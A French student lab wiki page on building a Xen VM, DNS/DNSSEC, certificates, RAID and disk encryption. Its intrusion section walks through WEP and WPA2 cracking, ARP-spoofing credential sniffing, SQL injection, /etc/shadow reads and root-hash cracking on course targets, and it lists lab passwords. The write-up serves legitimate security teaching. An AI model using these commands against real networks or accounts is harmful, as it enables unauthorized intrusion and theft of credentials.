&lt;br /&gt;
Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role &amp;quot;new_container&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
 - name: Create a container&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: amanite_container&lt;br /&gt;
          image: 192.168.42.5:5000/webserver_amanite&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;8085:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Puis nous avons déployé notre container grâce à notre playbook :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webservers&lt;br /&gt;
   roles:&lt;br /&gt;
          - new_container&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55046</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55046"/>
				<updated>2020-12-20T10:35:35Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Partie 7 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
